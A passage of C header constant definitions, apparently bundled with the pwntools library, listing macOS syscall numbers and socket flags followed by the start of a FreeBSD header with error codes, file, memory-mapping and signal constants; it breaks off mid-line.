0x2000000 #define SYS_getfh 161 + 0x2000000 #define SYS_quotactl 165 + 0x2000000 #define SYS_mount 167 + 0x2000000 #define SYS_csops 169 + 0x2000000 #define SYS_csops_audittoken 170 + 0x2000000 #define SYS_waitid 173 + 0x2000000 #define SYS_kdebug_typefilter 177 + 0x2000000 #define SYS_kdebug_trace_string 178 + 0x2000000 #define SYS_kdebug_trace64 179 + 0x2000000 #define SYS_kdebug_trace 180 + 0x2000000 #define SYS_setgid 181 + 0x2000000 #define SYS_setegid 182 + 0x2000000 #define SYS_seteuid 183 + 0x2000000 #define SYS_sigreturn 184 + 0x2000000 #define SYS_panic_with_data 185 + 0x2000000 #define SYS_thread_selfcounts 186 + 0x2000000 #define SYS_fdatasync 187 + 0x2000000 #define SYS_stat 188 + 0x2000000 #define SYS_fstat 189 + 0x2000000 #define SYS_lstat 190 + 0x2000000 #define SYS_pathconf 191 + 0x2000000 #define SYS_fpathconf 192 + 0x2000000 #define SYS_getrlimit 194 + 0x2000000 #define SYS_setrlimit 195 + 0x2000000 #define SYS_getdirentries 196 + 0x2000000 #define SYS_mmap 197 + 0x2000000 #define SYS_lseek 199 + 0x2000000 #define SYS_truncate 200 + 0x2000000 #define SYS_ftruncate 201 + 0x2000000 #define SYS_sysctl 202 + 0x2000000 #define SYS_mlock 203 + 0x2000000 #define SYS_munlock 204 + 0x2000000 #define SYS_undelete 205 + 0x2000000 #define SYS_open_dprotected_np 216 + 0x2000000 #define SYS_fsgetpath_ext 217 + 0x2000000 #define SYS_openat_dprotected_np 218 + 0x2000000 #define SYS_getattrlist 220 + 0x2000000 #define SYS_setattrlist 221 + 0x2000000 #define SYS_getdirentriesattr 222 + 0x2000000 #define SYS_exchangedata 223 + 0x2000000 #define SYS_searchfs 225 + 0x2000000 #define SYS_delete 226 + 0x2000000 #define SYS_copyfile 227 + 0x2000000 #define SYS_fgetattrlist 228 + 0x2000000 #define SYS_fsetattrlist 229 + 0x2000000 #define SYS_poll 230 + 0x2000000 #define SYS_getxattr 234 + 0x2000000 #define SYS_fgetxattr 235 + 0x2000000 #define SYS_setxattr 236 + 0x2000000 #define SYS_fsetxattr 237 + 0x2000000 #define SYS_removexattr 238 + 0x2000000 #define SYS_fremovexattr 239 + 0x2000000 #define SYS_listxattr 240 + 0x2000000 #define SYS_flistxattr 241 + 0x2000000 #define SYS_fsctl 242 + 0x2000000 #define SYS_initgroups 243 + 0x2000000 #define SYS_posix_spawn 244 + 0x2000000 #define SYS_ffsctl 245 + 0x2000000 #define SYS_fhopen 248 + 0x2000000 #define SYS_minherit 250 + 0x2000000 #define SYS_semsys 251 + 0x2000000 #define SYS_msgsys 252 + 0x2000000 #define SYS_shmsys 253 + 0x2000000 #define SYS_semctl 254 + 0x2000000 #define SYS_semget 255 + 0x2000000 #define SYS_semop 256 + 0x2000000 #define SYS_msgctl 258 + 0x2000000 #define SYS_msgget 259 + 0x2000000 #define SYS_msgsnd 260 + 0x2000000 #define SYS_msgrcv 261 + 0x2000000 #define SYS_shmat 262 + 0x2000000 #define SYS_shmctl 263 + 0x2000000 #define SYS_shmdt 264 + 0x2000000 #define SYS_shmget 265 + 0x2000000 #define SYS_shm_open 266 + 0x2000000 #define SYS_shm_unlink 267 + 0x2000000 #define SYS_sem_open 268 + 0x2000000 #define SYS_sem_close 269 + 0x2000000 #define SYS_sem_unlink 270 + 0x2000000 #define SYS_sem_wait 271 + 0x2000000 #define SYS_sem_trywait 272 + 0x2000000 #define SYS_sem_post 273 + 0x2000000 #define SYS_sysctlbyname 274 + 0x2000000 #define SYS_open_extended 277 + 0x2000000 #define SYS_umask_extended 278 + 0x2000000 #define SYS_stat_extended 279 + 0x2000000 #define SYS_lstat_extended 280 + 0x2000000 #define SYS_fstat_extended 281 + 0x2000000 #define SYS_chmod_extended 282 + 0x2000000 #define SYS_fchmod_extended 283 + 0x2000000 #define SYS_access_extended 284 + 0x2000000 #define SYS_settid 285 + 0x2000000 #define SYS_gettid 286 + 0x2000000 #define SYS_setsgroups 287 + 0x2000000 #define SYS_getsgroups 288 + 0x2000000 #define SYS_setwgroups 289 + 0x2000000 #define SYS_getwgroups 290 + 0x2000000 #define SYS_mkfifo_extended 291 + 0x2000000 #define SYS_mkdir_extended 292 + 0x2000000 #define SYS_identitysvc 293 + 0x2000000 #define SYS_shared_region_check_np 294 + 0x2000000 #define SYS_vm_pressure_monitor 296 + 0x2000000 #define SYS_psynch_rw_longrdlock 297 + 0x2000000 #define SYS_psynch_rw_yieldwrlock 298 + 0x2000000 #define SYS_psynch_rw_downgrade 299 + 0x2000000 #define SYS_psynch_rw_upgrade 300 + 0x2000000 #define SYS_psynch_mutexwait 301 + 0x2000000 #define SYS_psynch_mutexdrop 302 + 0x2000000 #define SYS_psynch_cvbroad 303 + 0x2000000 #define SYS_psynch_cvsignal 304 + 0x2000000 #define SYS_psynch_cvwait 305 + 0x2000000 #define SYS_psynch_rw_rdlock 306 + 0x2000000 #define SYS_psynch_rw_wrlock 307 + 0x2000000 #define SYS_psynch_rw_unlock 308 + 0x2000000 #define SYS_psynch_rw_unlock2 309 + 0x2000000 #define SYS_getsid 310 + 0x2000000 #define SYS_settid_with_pid 311 + 0x2000000 #define SYS_psynch_cvclrprepost 312 + 0x2000000 #define SYS_aio_fsync 313 + 0x2000000 #define SYS_aio_return 314 + 0x2000000 #define SYS_aio_suspend 315 + 0x2000000 #define SYS_aio_cancel 316 + 0x2000000 #define SYS_aio_error 317 + 0x2000000 #define SYS_aio_read 318 + 0x2000000 #define SYS_aio_write 319 + 0x2000000 #define SYS_lio_listio 320 + 0x2000000 #define SYS_iopolicysys 322 + 0x2000000 #define SYS_process_policy 323 + 0x2000000 #define SYS_mlockall 324 + 0x2000000 #define SYS_munlockall 325 + 0x2000000 #define SYS_issetugid 327 + 0x2000000 #define SYS___pthread_kill 328 + 0x2000000 #define SYS___pthread_sigmask 329 + 0x2000000 #define SYS___sigwait 330 + 0x2000000 #define SYS___disable_threadsignal 331 + 0x2000000 #define SYS___pthread_markcancel 332 + 0x2000000 #define SYS___pthread_canceled 333 + 0x2000000 #define SYS___semwait_signal 334 + 0x2000000 #define SYS_proc_info 336 + 0x2000000 #define SYS_sendfile 337 + 0x2000000 #define SYS_stat64 338 + 0x2000000 #define SYS_fstat64 339 + 0x2000000 #define SYS_lstat64 340 + 0x2000000 #define SYS_stat64_extended 341 + 0x2000000 #define SYS_lstat64_extended 342 + 0x2000000 #define SYS_fstat64_extended 343 + 0x2000000 #define SYS_getdirentries64 344 + 0x2000000 #define SYS_statfs64 345 + 0x2000000 #define SYS_fstatfs64 346 + 0x2000000 #define SYS_getfsstat64 347 + 0x2000000 #define SYS___pthread_chdir 348 + 0x2000000 #define SYS___pthread_fchdir 349 + 0x2000000 #define SYS_audit 350 + 0x2000000 #define SYS_auditon 351 + 0x2000000 #define SYS_getauid 353 + 0x2000000 #define SYS_setauid 354 + 0x2000000 #define SYS_getaudit_addr 357 + 0x2000000 #define SYS_setaudit_addr 358 + 0x2000000 #define SYS_auditctl 359 + 0x2000000 #define SYS_bsdthread_create 360 + 0x2000000 #define SYS_bsdthread_terminate 361 + 0x2000000 #define SYS_kqueue 362 + 0x2000000 #define SYS_kevent 363 + 0x2000000 #define SYS_lchown 364 + 0x2000000 #define SYS_bsdthread_register 366 + 0x2000000 #define SYS_workq_open 367 + 0x2000000 #define SYS_workq_kernreturn 368 + 0x2000000 #define SYS_kevent64 369 + 0x2000000 #define SYS_thread_selfid 372 + 0x2000000 #define SYS_ledger 373 + 0x2000000 #define SYS_kevent_qos 374 + 0x2000000 #define SYS_kevent_id 375 + 0x2000000 #define SYS___mac_execve 380 + 0x2000000 #define SYS___mac_syscall 381 + 0x2000000 #define SYS___mac_get_file 382 + 0x2000000 #define SYS___mac_set_file 383 + 0x2000000 #define SYS___mac_get_link 384 + 0x2000000 #define SYS___mac_set_link 385 + 0x2000000 #define SYS___mac_get_proc 386 + 0x2000000 #define SYS___mac_set_proc 387 + 0x2000000 #define SYS___mac_get_fd 388 + 0x2000000 #define SYS___mac_set_fd 389 + 0x2000000 #define SYS___mac_get_pid 390 + 0x2000000 #define SYS_pselect 394 + 0x2000000 #define SYS_pselect_nocancel 395 + 0x2000000 #define SYS_read_nocancel 396 + 0x2000000 #define SYS_write_nocancel 397 + 0x2000000 #define SYS_open_nocancel 398 + 0x2000000 #define SYS_close_nocancel 399 + 0x2000000 #define SYS_wait4_nocancel 400 + 0x2000000 #define SYS_recvmsg_nocancel 401 + 0x2000000 #define SYS_sendmsg_nocancel 402 + 0x2000000 #define SYS_recvfrom_nocancel 403 + 0x2000000 #define SYS_accept_nocancel 404 + 0x2000000 #define SYS_msync_nocancel 405 + 0x2000000 #define SYS_fcntl_nocancel 406 + 0x2000000 #define SYS_select_nocancel 407 + 0x2000000 #define SYS_fsync_nocancel 408 + 0x2000000 #define SYS_connect_nocancel 409 + 0x2000000 #define SYS_sigsuspend_nocancel 410 + 0x2000000 #define SYS_readv_nocancel 411 + 0x2000000 #define SYS_writev_nocancel 412 + 0x2000000 #define SYS_sendto_nocancel 413 + 0x2000000 #define SYS_pread_nocancel 414 + 0x2000000 #define SYS_pwrite_nocancel 415 + 0x2000000 #define SYS_waitid_nocancel 416 + 0x2000000 #define SYS_poll_nocancel 417 + 0x2000000 #define SYS_msgsnd_nocancel 418 + 0x2000000 #define SYS_msgrcv_nocancel 419 + 0x2000000 #define SYS_sem_wait_nocancel 420 + 0x2000000 #define SYS_aio_suspend_nocancel 421 + 0x2000000 #define SYS___sigwait_nocancel 422 + 0x2000000 #define SYS___semwait_signal_nocancel 423 + 0x2000000 #define SYS___mac_mount 424 + 0x2000000 #define SYS___mac_get_mount 425 + 0x2000000 #define SYS___mac_getfsstat 426 + 0x2000000 #define SYS_fsgetpath 427 + 0x2000000 #define SYS_audit_session_self 428 + 0x2000000 #define SYS_audit_session_join 429 + 0x2000000 #define SYS_fileport_makeport 430 + 0x2000000 #define SYS_fileport_makefd 431 + 0x2000000 #define SYS_audit_session_port 432 + 0x2000000 #define SYS_pid_suspend 433 + 0x2000000 #define SYS_pid_resume 434 + 0x2000000 #define SYS_pid_hibernate 435 + 0x2000000 #define SYS_pid_shutdown_sockets 436 + 0x2000000 #define SYS_kas_info 439 + 0x2000000 #define SYS_memorystatus_control 440 + 0x2000000 #define SYS_guarded_open_np 441 + 0x2000000 #define SYS_guarded_close_np 442 + 0x2000000 #define SYS_guarded_kqueue_np 443 + 0x2000000 #define SYS_change_fdguard_np 444 + 0x2000000 #define SYS_usrctl 445 + 0x2000000 #define SYS_proc_rlimit_control 446 + 0x2000000 #define SYS_connectx 447 + 0x2000000 #define SYS_disconnectx 448 + 0x2000000 #define SYS_peeloff 449 + 0x2000000 #define SYS_socket_delegate 450 + 0x2000000 #define SYS_telemetry 451 + 0x2000000 #define SYS_proc_uuid_policy 452 + 0x2000000 #define SYS_memorystatus_get_level 453 + 0x2000000 #define SYS_system_override 454 + 0x2000000 #define SYS_vfs_purge 455 + 0x2000000 #define SYS_sfi_ctl 456 + 0x2000000 #define SYS_sfi_pidctl 457 + 0x2000000 #define SYS_coalition 458 + 0x2000000 #define SYS_coalition_info 459 + 0x2000000 #define SYS_necp_match_policy 460 + 0x2000000 #define SYS_getattrlistbulk 461 + 0x2000000 #define SYS_clonefileat 462 + 0x2000000 #define SYS_openat 463 + 0x2000000 #define SYS_openat_nocancel 464 + 0x2000000 #define SYS_renameat 465 + 0x2000000 #define SYS_faccessat 466 + 0x2000000 #define SYS_fchmodat 467 + 0x2000000 #define SYS_fchownat 468 + 0x2000000 #define SYS_fstatat 469 + 0x2000000 #define SYS_fstatat64 470 + 0x2000000 #define SYS_linkat 471 + 0x2000000 #define SYS_unlinkat 472 + 0x2000000 #define SYS_readlinkat 473 + 0x2000000 #define SYS_symlinkat 474 + 0x2000000 #define SYS_mkdirat 475 + 0x2000000 #define SYS_getattrlistat 476 + 0x2000000 #define SYS_proc_trace_log 477 + 0x2000000 #define SYS_bsdthread_ctl 478 + 0x2000000 #define SYS_openbyid_np 479 + 0x2000000 #define SYS_recvmsg_x 480 + 0x2000000 #define SYS_sendmsg_x 481 + 0x2000000 #define SYS_thread_selfusage 482 + 0x2000000 #define SYS_csrctl 483 + 0x2000000 #define SYS_guarded_open_dprotected_np 484 + 0x2000000 #define SYS_guarded_write_np 485 + 0x2000000 #define SYS_guarded_pwrite_np 486 + 0x2000000 #define SYS_guarded_writev_np 487 + 0x2000000 #define SYS_renameatx_np 488 + 0x2000000 #define SYS_mremap_encrypted 489 + 0x2000000 #define SYS_netagent_trigger 490 + 0x2000000 #define SYS_stack_snapshot_with_config 491 + 0x2000000 #define SYS_microstackshot 492 + 0x2000000 #define SYS_grab_pgo_data 493 + 0x2000000 #define SYS_persona 494 + 0x2000000 #define SYS_mach_eventlink_signal 496 + 0x2000000 #define SYS_mach_eventlink_wait_until 497 + 0x2000000 #define SYS_mach_eventlink_signal_wait_until 498 + 0x2000000 #define SYS_work_interval_ctl 499 + 0x2000000 #define SYS_getentropy 500 + 0x2000000 #define SYS_necp_open 501 + 0x2000000 #define SYS_necp_client_action 502 + 0x2000000 #define SYS___nexus_open 503 + 0x2000000 #define SYS___nexus_register 504 + 0x2000000 #define SYS___nexus_deregister 505 + 0x2000000 #define SYS___nexus_create 506 + 0x2000000 #define SYS___nexus_destroy 507 + 0x2000000 #define SYS___nexus_get_opt 508 + 0x2000000 #define SYS___nexus_set_opt 509 + 0x2000000 #define SYS___channel_open 510 + 0x2000000 #define SYS___channel_get_info 511 + 0x2000000 #define SYS___channel_sync 512 + 0x2000000 #define SYS___channel_get_opt 513 + 0x2000000 #define SYS___channel_set_opt 514 + 0x2000000 #define SYS_ulock_wait 515 + 0x2000000 #define SYS_ulock_wake 516 + 0x2000000 #define SYS_fclonefileat 517 + 0x2000000 #define SYS_fs_snapshot 518 + 0x2000000 #define SYS_register_uexc_handler 519 + 0x2000000 #define SYS_terminate_with_payload 520 + 0x2000000 #define SYS_abort_with_payload 521 + 0x2000000 #define SYS_necp_session_open 522 + 0x2000000 #define SYS_necp_session_action 523 + 0x2000000 #define SYS_setattrlistat 524 + 0x2000000 #define SYS_net_qos_guideline 525 + 0x2000000 #define SYS_fmount 526 + 0x2000000 #define SYS_ntp_adjtime 527 + 0x2000000 #define SYS_ntp_gettime 528 + 0x2000000 #define SYS_os_fault_with_payload 529 + 0x2000000 #define SYS_kqueue_workloop_ctl 530 + 0x2000000 #define SYS___mach_bridge_remote_time 531 + 0x2000000 #define SYS_coalition_ledger 532 + 0x2000000 #define SYS_log_data 533 + 0x2000000 #define SYS_memorystatus_available_memory 534 + 0x2000000 #define SYS_objc_bp_assist_cfg_np 535 + 0x2000000 #define SYS_shared_region_map_and_slide_2_np 536 + 0x2000000 #define SYS_pivot_root 537 + 0x2000000 #define SYS_task_inspect_for_pid 538 + 0x2000000 #define SYS_task_read_for_pid 539 + 0x2000000 #define SYS_preadv 540 + 0x2000000 #define SYS_pwritev 541 + 0x2000000 #define SYS_preadv_nocancel 542 + 0x2000000 #define SYS_pwritev_nocancel 543 + 0x2000000 #define SYS_ulock_wait2 544 + 0x2000000 #define SYS_proc_info_extended_id 545 + 0x2000000 #define SYS_tracker_action 546 + 0x2000000 #define SYS_debug_syscall_reject 547 + 0x2000000 #define SYS_debug_syscall_reject_config 548 + 0x2000000 #define SYS_graftdmg 549 + 0x2000000 #define SYS_map_with_linking_np 550 + 0x2000000 #define SYS_freadlink 551 + 0x2000000 #define SYS_record_system_event 552 + 0x2000000 #define SYS_mkfifoat 553 + 0x2000000 #define SYS_mknodat 554 + 0x2000000 #define SYS_ungraftdmg 555 + 0x2000000 #define SYS_coalition_policy_set 556 + 0x2000000 #define SYS_coalition_policy_get 557 + 0x2000000 #define SYS_MAXSYSCALL 558 + 0x2000000 #define SYS_invalid 63 + 0x2000000 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SO_DEBUG 0x0001 #define SO_ACCEPTCONN 0x0002 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_USELOOPBACK 0x0040 #define SO_LINGER 0x1080 #define SO_LINGER_SEC 0x1080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_TIMESTAMP 0x0400 #define SO_TIMESTAMP_MONOTONIC 0x0800 #define SO_ACCEPTFILTER 0x1000 #define SO_DONTTRUNC 0x2000 #define SO_WANTMORE 0x4000 #define SO_WANTOOBFLAG 0x8000 #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_SNDLOWAT 0x1003 #define SO_RCVLOWAT 0x1004 #define SO_SNDTIMEO 0x1005 #define SO_RCVTIMEO 0x1006 #define SO_ERROR 0x1007 #define SO_TYPE 0x1008 #define SO_LABEL 0x1010 #define SO_PEERLABEL 0x1011 #define SO_NREAD 0x1020 #define SO_NKE 0x1021 #define SO_NOSIGPIPE 0x1022 #define SO_NOADDRERR 0x1023 #define SO_NWRITE 0x1024 #define SO_REUSESHAREUID 0x1025 #define SO_NOTIFYCONFLICT 0x1026 #define SO_UPCALLCLOSEWAIT 0x1027 #define SO_RANDOMPORT 0x1082 #define SO_NP_EXTENSIONS 0x1083 #define SO_NUMRCVPKT 0x1112 #define SO_NET_SERVICE_TYPE 0x1116 #define SO_NETSVC_MARKING_LEVEL 0x1119 #define SO_RESOLVER_SIGNATURE 0x1131 #define SO_BINDTODEVICE 0x1134 #define NET_SERVICE_TYPE_BE 0 #define NET_SERVICE_TYPE_BK 1 #define NET_SERVICE_TYPE_SIG 2 #define NET_SERVICE_TYPE_VI 3 #define NET_SERVICE_TYPE_VO 4 #define NET_SERVICE_TYPE_RV 5 #define NET_SERVICE_TYPE_AV 6 #define NET_SERVICE_TYPE_OAM 7 #define NET_SERVICE_TYPE_RD 8 #define NETSVC_MRKNG_UNKNOWN 0 #define NETSVC_MRKNG_LVL_L2 1 #define NETSVC_MRKNG_LVL_L3L2_ALL 2 #define NETSVC_MRKNG_LVL_L3L2_BK 3 #define SAE_ASSOCID_ANY 0 #define SAE_CONNID_ANY 0 #define CONNECT_RESUME_ON_READ_WRITE 0x1 #define CONNECT_DATA_IDEMPOTENT 0x2 #define CONNECT_DATA_AUTHENTICATED 0x4 #define SONPX_SETOPTSHUT 0x000000001 #define SOL_SOCKET 0xffff #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_INET 2 #define AF_IMPLINK 3 #define AF_PUP 4 #define AF_CHAOS 5 #define AF_NS 6 #define AF_ISO 7 #define AF_ECMA 8 #define AF_DATAKIT 9 #define AF_CCITT 10 #define AF_SNA 11 #define AF_DECnet 12 #define AF_DLI 13 #define AF_LAT 14 #define AF_HYLINK 15 #define AF_APPLETALK 16 #define AF_ROUTE 17 #define AF_LINK 18 #define pseudo_AF_XTP 19 #define AF_COIP 20 #define AF_CNT 21 #define pseudo_AF_RTIP 22 #define AF_IPX 23 #define AF_SIP 24 #define pseudo_AF_PIP 25 #define AF_NDRV 27 #define AF_ISDN 28 #define pseudo_AF_KEY 29 #define AF_INET6 30 #define AF_NATM 31 #define AF_SYSTEM 32 #define AF_NETBIOS 33 #define AF_PPP 34 #define pseudo_AF_HDRCMPLT 35 #define AF_RESERVED_36 36 #define AF_IEEE80211 37 #define AF_UTUN 38 #define AF_VSOCK 40 #define AF_MAX 41 #define SOCK_MAXADDRLEN 255 #define _SS_MAXSIZE 128 #define NET_RT_DUMP 1 #define NET_RT_FLAGS 2 #define NET_RT_IFLIST 3 #define NET_RT_STAT 4 #define NET_RT_TRASH 5 #define NET_RT_IFLIST2 6 #define NET_RT_DUMP2 7 #define NET_RT_FLAGS_PRIV 10 #define NET_RT_MAXID 11 #define SOMAXCONN 128 #define MSG_OOB 0x1 #define MSG_PEEK 0x2 #define MSG_DONTROUTE 0x4 #define MSG_EOR 0x8 #define MSG_TRUNC 0x10 #define MSG_CTRUNC 0x20 #define MSG_WAITALL 0x40 #define MSG_DONTWAIT 0x80 #define MSG_EOF 0x100 #define MSG_WAITSTREAM 0x200 #define MSG_FLUSH 0x400 #define MSG_HOLD 0x800 #define MSG_SEND 0x1000 #define MSG_HAVEMORE 0x2000 #define MSG_RCVMORE 0x4000 #define MSG_NEEDSA 0x10000 #define MSG_NOSIGNAL 0x80000 #define MSG_USEUPCALL 0x80000000 #define CMGROUP_MAX 16 #define SCM_RIGHTS 0x01 #define SCM_TIMESTAMP 0x02 #define SCM_CREDS 0x03 #define SCM_TIMESTAMP_MONOTONIC 0x04 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define SBUF_FIXEDLEN 0x00000000 #define SBUF_AUTOEXTEND 0x00000001 #define SBUF_USRFLAGMSK 0x0000ffff #define SBUF_DYNAMIC 0x00010000 #define SBUF_FINISHED 0x00020000 #define SBUF_OVERFLOWED 0x00040000 #define SBUF_DYNSTRUCT 0x00080000 #define SYSPROTO_EVENT 1 #define SYSPROTO_CONTROL 2 #define AF_SYS_CONTROL 2 #define SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED 0x00000001 #define SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER 0x00000002 #define SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT 0x00000004 #define NS_GETRAWENCRYPTED 0x00000001 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/freebsd.h000066400000000000000000000630511507273764500240040ustar00rootroot00000000000000#define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define __BSD_VISIBLE 99999999 #define __POSIX_VISIBLE 99999999 #define __XSI_VISIBLE 99999999 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EDEADLK 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EAGAIN 35 #define EWOULDBLOCK 35 #define EINPROGRESS 36 #define EALREADY 37 #define ENOTSOCK 38 #define EDESTADDRREQ 39 #define EMSGSIZE 40 #define EPROTOTYPE 41 #define ENOPROTOOPT 42 #define EPROTONOSUPPORT 43 #define ESOCKTNOSUPPORT 44 #define EOPNOTSUPP 45 #define ENOTSUP 45 #define EPFNOSUPPORT 46 #define EAFNOSUPPORT 47 #define EADDRINUSE 48 #define EADDRNOTAVAIL 49 #define ENETDOWN 50 #define ENETUNREACH 51 #define ENETRESET 52 #define ECONNABORTED 53 #define ECONNRESET 54 #define ENOBUFS 55 #define EISCONN 56 #define ENOTCONN 57 #define ESHUTDOWN 58 #define ETOOMANYREFS 59 #define ETIMEDOUT 60 #define ECONNREFUSED 61 #define ELOOP 62 #define ENAMETOOLONG 63 #define EHOSTDOWN 64 #define EHOSTUNREACH 65 #define ENOTEMPTY 66 #define EPROCLIM 67 #define EUSERS 68 #define EDQUOT 69 #define ESTALE 70 #define EREMOTE 71 #define EBADRPC 72 #define ERPCMISMATCH 73 #define EPROGUNAVAIL 74 #define EPROGMISMATCH 75 #define EPROCUNAVAIL 76 #define ENOLCK 77 #define ENOSYS 78 #define EFTYPE 79 #define EAUTH 80 #define ENEEDAUTH 81 #define EIDRM 82 #define ENOMSG 83 #define EOVERFLOW 84 #define ECANCELED 85 #define EILSEQ 86 #define ENOATTR 87 #define EDOOFUS 88 #define EBADMSG 89 #define EMULTIHOP 90 #define ENOLINK 91 #define EPROTO 92 #define ENOTCAPABLE 93 #define ECAPMODE 94 #define ELAST 94 #define O_RDONLY 0x0000 #define O_WRONLY 0x0001 #define O_RDWR 0x0002 #define O_ACCMODE 0x0003 #define FREAD 0x0001 #define FWRITE 0x0002 #define O_NONBLOCK 0x0004 #define O_APPEND 0x0008 #define O_SHLOCK 0x0010 #define O_EXLOCK 0x0020 #define O_ASYNC 0x0040 #define O_FSYNC 0x0080 #define O_SYNC 0x0080 #define O_NOFOLLOW 0x0100 #define O_CREAT 0x0200 #define O_TRUNC 0x0400 #define O_EXCL 0x0800 #define O_NOCTTY 0x8000 #define O_DIRECT 0x00010000 #define O_DIRECTORY 0x00020000 #define O_EXEC 0x00040000 #define O_TTY_INIT 0x00080000 #define O_CLOEXEC 0x00100000 #define FAPPEND 0x0008 #define FASYNC 0x0040 #define FFSYNC 0x0080 #define FNONBLOCK 0x0004 #define FNDELAY 0x0004 #define O_NDELAY 0x0004 #define FRDAHEAD 0x0200 #define AT_FDCWD -100 #define AT_EACCESS 0x100 #define AT_SYMLINK_NOFOLLOW 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_REMOVEDIR 0x800 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETOWN 5 #define F_SETOWN 6 #define F_OGETLK 7 #define F_OSETLK 8 #define F_OSETLKW 9 #define F_DUP2FD 10 #define F_GETLK 11 #define F_SETLK 12 #define F_SETLKW 13 #define F_SETLK_REMOTE 14 #define F_READAHEAD 15 #define F_RDAHEAD 16 #define F_DUPFD_CLOEXEC 17 #define F_DUP2FD_CLOEXEC 18 #define FD_CLOEXEC 1 #define F_RDLCK 1 #define F_UNLCK 2 #define F_WRLCK 3 #define F_UNLCKSYS 4 #define F_CANCEL 5 #define LOCK_SH 0x01 #define LOCK_EX 0x02 #define LOCK_NB 0x04 #define LOCK_UN 0x08 #define POSIX_FADV_NORMAL 0 #define POSIX_FADV_RANDOM 1 #define POSIX_FADV_SEQUENTIAL 2 #define POSIX_FADV_WILLNEED 3 #define POSIX_FADV_DONTNEED 4 #define POSIX_FADV_NOREUSE 5 #define INHERIT_SHARE 0 #define INHERIT_COPY 1 #define INHERIT_NONE 2 #define PROT_NONE 0x00 #define PROT_READ 0x01 #define PROT_WRITE 0x02 #define PROT_EXEC 0x04 #define MAP_SHARED 0x0001 #define MAP_PRIVATE 0x0002 #define MAP_COPY 0x0002 #define MAP_FIXED 0x0010 #define MAP_RENAME 0x0020 #define MAP_NORESERVE 0x0040 #define MAP_RESERVED0080 0x0080 #define MAP_RESERVED0100 0x0100 #define MAP_HASSEMAPHORE 0x0200 #define MAP_STACK 0x0400 #define MAP_NOSYNC 0x0800 #define MAP_FILE 0x0000 #define MAP_ANON 0x1000 #define MAP_ANONYMOUS 0x1000 #define MAP_NOCORE 0x00020000 #define MAP_PREFAULT_READ 0x00040000 #define MCL_CURRENT 0x0001 #define MCL_FUTURE 0x0002 #define MS_SYNC 0x0000 #define MS_ASYNC 0x0001 #define MS_INVALIDATE 0x0002 #define _MADV_NORMAL 0 #define _MADV_RANDOM 1 #define _MADV_SEQUENTIAL 2 #define _MADV_WILLNEED 3 #define _MADV_DONTNEED 4 #define MADV_NORMAL 0 #define MADV_RANDOM 1 #define MADV_SEQUENTIAL 2 #define MADV_WILLNEED 3 #define MADV_DONTNEED 4 #define MADV_FREE 5 #define MADV_NOSYNC 6 #define MADV_AUTOSYNC 7 #define MADV_NOCORE 8 #define MADV_CORE 9 #define MADV_PROTECT 10 #define MINCORE_INCORE 0x1 #define MINCORE_REFERENCED 0x2 #define MINCORE_MODIFIED 0x4 #define MINCORE_REFERENCED_OTHER 0x8 #define MINCORE_MODIFIED_OTHER 0x10 #define POSIX_MADV_NORMAL 0 #define POSIX_MADV_RANDOM 1 #define POSIX_MADV_SEQUENTIAL 2 #define POSIX_MADV_WILLNEED 3 #define POSIX_MADV_DONTNEED 4 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGEMT 7 #define SIGFPE 8 #define SIGKILL 9 #define SIGBUS 10 #define SIGSEGV 11 #define SIGSYS 12 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGURG 16 #define SIGSTOP 17 #define SIGTSTP 18 #define SIGCONT 19 #define SIGCHLD 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGIO 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGINFO 29 #define SIGUSR1 30 #define SIGUSR2 31 #define SIGTHR 32 #define SIGLWP 32 #define SIGRTMIN 65 #define SIGRTMAX 126 #define SIGEV_NONE 0 #define SIGEV_SIGNAL 1 #define SIGEV_THREAD 2 #define SIGEV_KEVENT 3 #define SIGEV_THREAD_ID 4 #define ILL_ILLOPC 1 #define ILL_ILLOPN 2 #define ILL_ILLADR 3 #define ILL_ILLTRP 4 #define ILL_PRVOPC 5 #define ILL_PRVREG 6 #define ILL_COPROC 7 #define ILL_BADSTK 8 #define BUS_ADRALN 1 #define BUS_ADRERR 2 #define BUS_OBJERR 3 #define SEGV_MAPERR 1 #define SEGV_ACCERR 2 #define FPE_INTOVF 1 #define FPE_INTDIV 2 #define FPE_FLTDIV 3 #define FPE_FLTOVF 4 #define FPE_FLTUND 5 #define FPE_FLTRES 6 #define FPE_FLTINV 7 #define FPE_FLTSUB 8 #define TRAP_BRKPT 1 #define 